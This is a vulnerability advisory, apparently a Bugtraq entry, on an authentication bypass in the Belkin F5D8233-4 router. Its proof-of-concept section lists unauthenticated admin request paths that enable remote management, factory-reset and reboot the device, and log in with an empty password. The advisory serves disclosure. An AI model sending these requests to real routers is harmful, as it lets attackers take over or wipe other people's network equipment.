Belkin F5D8233-4 Wireless N Router Multiple Scripts Authentication Bypass Vulnerabilities

BID:32275

Info

Belkin F5D8233-4 Wireless N Router Multiple Scripts Authentication Bypass Vulnerabilities

Bugtraq ID: 32275
Class: Access Validation Error
CVE:
Remote: Yes
Local: No
Published: Nov 12 2008 12:00AM
Updated: Nov 14 2008 04:14PM
Credit: Craig Heffner, Derek Yap from SourceSec
Vulnerable: Belkin F5D8233-4v3 0
Not Vulnerable:

Discussion

Belkin F5D8233-4 Wireless N Router Multiple Scripts Authentication Bypass Vulnerabilities

The Belkin F5D8233-4 Wireless N Router is prone to multiple vulnerabilities because of a lack of authentication when users access specific administration scripts.

Attackers can exploit these issues to perform administrative functions without authorization.

Belkin F5D8233-4 is vulnerable; other devices may also be affected.

Exploit / POC

Belkin F5D8233-4 Wireless N Router Multiple Scripts Authentication Bypass Vulnerabilities

Attackers can exploit these issues using readily available networking utilities.

The following example scripts are available:

Enable remote management on port 8080: /cgi-bin/system_setting.exe?remote_mgmt_enabled=1&remote_mgmt_port=8080
Restore the router's default factory settings: /cgi-bin/restore.exe
Reboot the router: /cgi-bin/restart.exe
Log in with the default password": /cgi-bin/login.exe?pws=

Solution / Fix

Belkin F5D8233-4 Wireless N Router Multiple Scripts Authentication Bypass Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Belkin F5D8233-4 Wireless N Router Multiple Scripts Authentication Bypass Vulnerabilities

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